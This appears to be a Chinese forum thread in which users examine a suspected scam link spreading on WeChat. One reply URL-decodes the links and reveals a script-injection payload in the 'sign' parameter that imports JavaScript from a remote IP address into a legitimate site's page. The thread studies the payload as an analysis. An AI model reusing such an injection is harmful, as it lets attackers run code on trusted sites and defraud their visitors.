发现了个诈骗网站，哪位大佬来逆向一下？

[KDCJT]

网站 1:http://lonjizk.chehangjia.cn/news/type?sign=%27%2C%7D%3Bz%3D%27https%3A%2F%2F124.223.223.148%2F5zc423shfr4ms0r9q33dpykn63afzzvb8f%3Fm%3D%27%2Cimport%28z%29%3D%3D0%3Bk76%3Bvar%20chj%20%3D%20%7Broot%3A%20%22%22%2C%20uid%20%3A%20%270%27%2CcurCtr%3A%22%2Fnews%2F%22%2C%20msgUrl%3A%22%2FUcenter%2FgetMsg.html%22%2Cloc%3A%27&type=0&alykgs=f010fd672758da76713a97084465c72113dee2f792b06f5be7ff1e23dccebacd92be6f#1707549050630

2:http://h4s8ez13xq.chehangjia.cn/news/type?sign=%27%2C%7D%3Bz%3D%27https%3A%2F%2F124.223.223.148%2F5zc423shfr4ms0r9q33dpykn63afzzvb8f%3Fm%3D%27%2Cimport%28z%29%3D%3D0%3Bk76%3Bvar%20chj%20%3D%20%7Broot%3A%20%22%22%2C%20uid%20%3A%20%270%27%2CcurCtr%3A%22%2Fnews%2F%22%2C%20msgUrl%3A%22%2FUcenter%2FgetMsg.html%22%2Cloc%3A%27&type=0&erfjee=65b37823a7f8a576715a67980465c70feee8327ded21a352b4e625c6cf72fe0ced2ca3#1707548422605



这个网站好像只能在微信来打开

[zgzhang]

无聊看了下：
1. lonjizk.chehangjia.cn 域名解析到 114.55.144.124 ，是个阿里云的网站
2. 这个域名是有备案的 贵州车行家网络商贸有限公司
从上面这个信息看，感觉是个正规网站，起码能找到人
看了下内容，最多就是个恶意影响，诈骗是怎么个说法

[azio7]

@zgzhang 他的 sign 携带真正要跳转的目的 ip ，估计是原正规网站有漏洞

[gabon]

url decode 后：


http://lonjizk.chehangjia.cn/news/type?sign=',};z='https://124.223.223.148/5zc423shfr4ms0r9q33dpykn63afzzvb8f?m=',import(z)==0;k76;var chj = {root: "", uid : '0',curCtr:"/news/", msgUrl:"/Ucenter/getMsg.html",loc:'&type=0&alykgs=f010fd672758da76713a97084465c72113dee2f792b06f5be7ff1e23dccebacd92be6f#1707549050630

http://h4s8ez13xq.chehangjia.cn/news/type?sign=',};z='https://124.223.223.148/5zc423shfr4ms0r9q33dpykn63afzzvb8f?m=',import(z)==0;k76;var chj = {root: "", uid : '0',curCtr:"/news/", msgUrl:"/Ucenter/getMsg.html",loc:'&type=0&erfjee=65b37823a7f8a576715a67980465c70feee8327ded21a352b4e625c6cf72fe0ced2ca3#1707548422605

[KDCJT]

这个信息有一段时间在微信有小范围传播，不确定有没有诈骗信息，当作一个好玩的东西看就行，还有对于侦测转发的代码有漏洞，还没转发就会被侦测已经转发